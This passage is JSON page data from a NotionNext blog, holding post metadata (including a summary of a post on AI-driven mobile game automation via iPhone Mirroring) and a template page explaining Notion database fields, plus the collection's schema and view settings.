7f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"<- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b&width=800&fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"4fae0653-be7f-4e10-91de-344f6c6d0a6b":{"value":{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","version":7,"type":"page","content":["9c344479-39c1-43e6-82db-da1e457673b8","dfbfc243-3c10-4fa6-9afe-b7ea8e16c791","91069561-1f89-408e-ba39-87eb119ef85a","a0bcfc30-03ad-485c-8274-4dd1011c4373","35153d83-59d1-4af9-b986-53aa8573709e","4db6ff22-9486-468a-8f4e-651a0973869c","3dbdf851-118a-40f3-a713-d6477e7a71a9","2083ca79-572d-4541-a5c9-57585bd5c43e"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"e2e5b065-95c1-42a4-8650-7ad813b1a1d1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337114,"last_edited_time":1705630788431,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"e2e5b065-95c1-42a4-8650-7ad813b1a1d1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"9c344479-39c1-43e6-82db-da1e457673b8":{"value":{"id":"9c344479-39c1-43e6-82db-da1e457673b8","type":"header","properties":{"title":[["如何使用Notion编写文章"]]},"format":{"copied_from_pointer":{"id":"7f76ac38-a1ec-4eb0-9f2b-930be49bd548","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"7f76ac38-a1ec-4eb0-9f2b-930be49bd548"}},"dfbfc243-3c10-4fa6-9afe-b7ea8e16c791":{"value":{"id":"dfbfc243-3c10-4fa6-9afe-b7ea8e16c791","type":"text","properties":{"title":[["请访问教程获取帮助"]]},"format":{"copied_from_pointer":{"id":"05108037-289f-4633-bca4-2491caf39c16","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337143,"last_edited_time":1705594337143,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"05108037-289f-4633-bca4-2491caf39c16"}},"91069561-1f89-408e-ba39-87eb119ef85a":{"value":{"id":"91069561-1f89-408e-ba39-87eb119ef85a","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/start-to-write"]],"title":[["如何在Notion中开始写作 | NotionNext文档"]],"description":[["这是一个由NotionNext生成的站点"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","copied_from_pointer":{"id":"9d4bcc86-6164-49b5-b9f7-da0238c6eae4","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"9d4bcc86-6164-49b5-b9f7-da0238c6eae4"}},"a0bcfc30-03ad-485c-8274-4dd1011c4373":{"value":{"id":"a0bcfc30-03ad-485c-8274-4dd1011c4373","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/notion-short-key"]],"title":[["Notion快捷键 | NotionNext文档"]],"description":[["Notion有很多使用的快捷键,看完这篇文章,让你的效率加倍"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","bookmark_cover":"https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd4851275-5ab5-4aaa-bc51-77c73ad658c4%2Fe8ed862f23227112ab999a90757a3bf8.jpg?table=block&id=a88d5688-b66a-4baf-a8e8-f769bb210954&width=800","copied_from_pointer":{"id":"17282155-ecbc-4305-ac53-fe11b3694d75","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337143,"last_edited_time":1705594337143,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"17282155-ecbc-4305-ac53-fe11b3694d75"}},"35153d83-59d1-4af9-b986-53aa8573709e":{"value":{"id":"35153d83-59d1-4af9-b986-53aa8573709e","type":"header","properties":{"title":[["模板使用说明"]]},"format":{"copied_from_pointer":{"id":"d47d353c-dacf-4bc5-88a9-35cc5747e15f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"d47d353c-dacf-4bc5-88a9-35cc5747e15f"}},"4db6ff22-9486-468a-8f4e-651a0973869c":{"value":{"id":"4db6ff22-9486-468a-8f4e-651a0973869c","type":"text","properties":{"title":[["NotionNext项目必须绑定一个Notion数据库才能使用。请访问教程获取帮助"]]},"format":{"copied_from_pointer":{"id":"d05a1cc7-2e83-4df0-b914-950ae25d7af2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"d05a1cc7-2e83-4df0-b914-950ae25d7af2"}},"3dbdf851-118a-40f3-a713-d6477e7a71a9":{"value":{"id":"3dbdf851-118a-40f3-a713-d6477e7a71a9","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/vercel-deploy-notion-next#3df829414795492bb41ec351eb6da84e"]],"title":[["Vercel云部署 | NotionNext文档"]],"description":[["Vercel是一款国外的Serverless托管平台,对个人用户使用几乎免费,而且方便快捷,用Vercel托管你的Notion站点,无需再操心服务器的维护与资费问题。"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1642083139428-9ee5fa423c46?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=tinysrgb&width=800&fmt=webp","copied_from_pointer":{"id":"c396a66f-9cf3-498d-801c-f4920a250f9c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"c396a66f-9cf3-498d-801c-f4920a250f9c"}},"2083ca79-572d-4541-a5c9-57585bd5c43e":{"value":{"id":"2083ca79-572d-4541-a5c9-57585bd5c43e","type":"transclusion_container","content":["66421ace-22bf-48c7-ad29-02813c60ca86","31b03937-440c-4d3c-9e1d-f7e574980c46","b02f9c83-81f1-43bd-9628-3e7bebd5f788","04b2e24c-2668-4730-a40a-20a95985573b"],"format":{"copied_from_pointer":{"id":"317252ed-9632-402f-a44a-98d96762d689","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"317252ed-9632-402f-a44a-98d96762d689"}},"66421ace-22bf-48c7-ad29-02813c60ca86":{"value":{"id":"66421ace-22bf-48c7-ad29-02813c60ca86","type":"sub_header","properties":{"title":[["Notion模板字段说明"]]},"format":{"copied_from_pointer":{"id":"668dc355-faed-4fe4-9d81-6f58fec61fb5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"668dc355-faed-4fe4-9d81-6f58fec61fb5"}},"31b03937-440c-4d3c-9e1d-f7e574980c46":{"value":{"id":"31b03937-440c-4d3c-9e1d-f7e574980c46","type":"text","properties":{"title":[["Notion数据库中,每条数据都将有以下属性🤔:"]]},"format":{"copied_from_pointer":{"id":"12385e7c-e10c-4622-9e50-7c6ad15123c3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"12385e7c-e10c-4622-9e50-7c6ad15123c3"}},"b02f9c83-81f1-43bd-9628-3e7bebd5f788":{"value":{"id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","type":"table","content":["51461f6d-9183-43ce-abb8-8a36cbf70224","f3b53692-4b37-4a1f-bd37-8fed90eab370","6183f85b-4bca-4886-8124-6225c80922a6","dd776aeb-7770-4ce0-bd08-4a1a747c1e42","b08e2032-92c2-494d-a65f-10865bae9cfa","0a03579c-603b-4921-a96c-582da1d0e6a4","0c2f3812-71c4-4d90-a96b-0f02b10442eb","9183be4f-9a55-4940-812f-e50275f88d5d","ba90c4d0-5bca-43eb-82db-749dd4f2958a","6e433da2-3abf-4b13-8e88-a743d5966975","553d4bf0-c754-45d8-98da-a76da2d494bc"],"format":{"copied_from_pointer":{"id":"dcfd5c0b-5113-455d-8c84-59da641239c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":116.99479675292969},"GENW":{"width":46.989585876464844},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705594337148,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"dcfd5c0b-5113-455d-8c84-59da641239c1"}},"04b2e24c-2668-4730-a40a-20a95985573b":{"value":{"id":"04b2e24c-2668-4730-a40a-20a95985573b","type":"text","format":{"copied_from_pointer":{"id":"545f515a-6818-4862-ac51-294023cdf61f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"545f515a-6818-4862-ac51-294023cdf61f"}},"51461f6d-9183-43ce-abb8-8a36cbf70224":{"value":{"id":"51461f6d-9183-43ce-abb8-8a36cbf70224","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"967fcf62-151b-4e6d-8e11-cf1330623b6e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"967fcf62-151b-4e6d-8e11-cf1330623b6e"}},"f3b53692-4b37-4a1f-bd37-8fed90eab370":{"value":{"id":"f3b53692-4b37-4a1f-bd37-8fed90eab370","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"56fe3c1e-0c1b-43d8-8344-56b30ede6161","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"56fe3c1e-0c1b-43d8-8344-56b30ede6161"}},"6183f85b-4bca-4886-8124-6225c80922a6":{"value":{"id":"6183f85b-4bca-4886-8124-6225c80922a6","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"0fa0d89f-d3f7-4100-a856-99812bbc8374","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"0fa0d89f-d3f7-4100-a856-99812bbc8374"}},"dd776aeb-7770-4ce0-bd08-4a1a747c1e42":{"value":{"id":"dd776aeb-7770-4ce0-bd08-4a1a747c1e42","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"fc0a364f-82e8-4089-a37a-fec79f038539","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337167,"last_edited_time":1705594337167,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"fc0a364f-82e8-4089-a37a-fec79f038539"}},"b08e2032-92c2-494d-a65f-10865bae9cfa":{"value":{"id":"b08e2032-92c2-494d-a65f-10865bae9cfa","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"f3c1aeeb-efab-4d55-a8b6-b87f513fc946","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337167,"last_edited_time":1705594337167,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"f3c1aeeb-efab-4d55-a8b6-b87f513fc946"}},"0a03579c-603b-4921-a96c-582da1d0e6a4":{"value":{"id":"0a03579c-603b-4921-a96c-582da1d0e6a4","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["否"]],"Js[p":[["发布日期"]],"`VuO":[["在V3.3.9之前的版本此项为必填。"]]},"format":{"copied_from_pointer":{"id":"41a21bdf-3dd3-4650-95ee-74789c4ea543","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"41a21bdf-3dd3-4650-95ee-74789c4ea543"}},"0c2f3812-71c4-4d90-a96b-0f02b10442eb":{"value":{"id":"0c2f3812-71c4-4d90-a96b-0f02b10442eb","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"30a12038-8ae7-49d2-add1-bf04b02e4310","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"30a12038-8ae7-49d2-add1-bf04b02e4310"}},"9183be4f-9a55-4940-812f-e50275f88d5d":{"value":{"id":"9183be4f-9a55-4940-812f-e50275f88d5d","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"bd6c29d2-2d8c-410d-8854-4febce31c08b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"bd6c29d2-2d8c-410d-8854-4febce31c08b"}},"ba90c4d0-5bca-43eb-82db-749dd4f2958a":{"value":{"id":"ba90c4d0-5bca-43eb-82db-749dd4f2958a","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"e8319f15-4ef7-4e18-b7e2-9465b28093d1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"e8319f15-4ef7-4e18-b7e2-9465b28093d1"}},"6e433da2-3abf-4b13-8e88-a743d5966975":{"value":{"id":"6e433da2-3abf-4b13-8e88-a743d5966975","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["/"],["Menu",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v6/search"]]]]},"format":{"copied_from_pointer":{"id":"9ede6934-ce4f-40fc-966a-5561738eaf8d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"9ede6934-ce4f-40fc-966a-5561738eaf8d"}},"553d4bf0-c754-45d8-98da-a76da2d494bc":{"value":{"id":"553d4bf0-c754-45d8-98da-a76da2d494bc","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[[" 否"]],"Js[p":[[" 文章加锁"]],"`VuO":[[" 需要输入密码才允许访问"]]},"format":{"copied_from_pointer":{"id":"34c189ef-9dc1-45a0-862a-84820c7fa952","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"34c189ef-9dc1-45a0-862a-84820c7fa952"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46c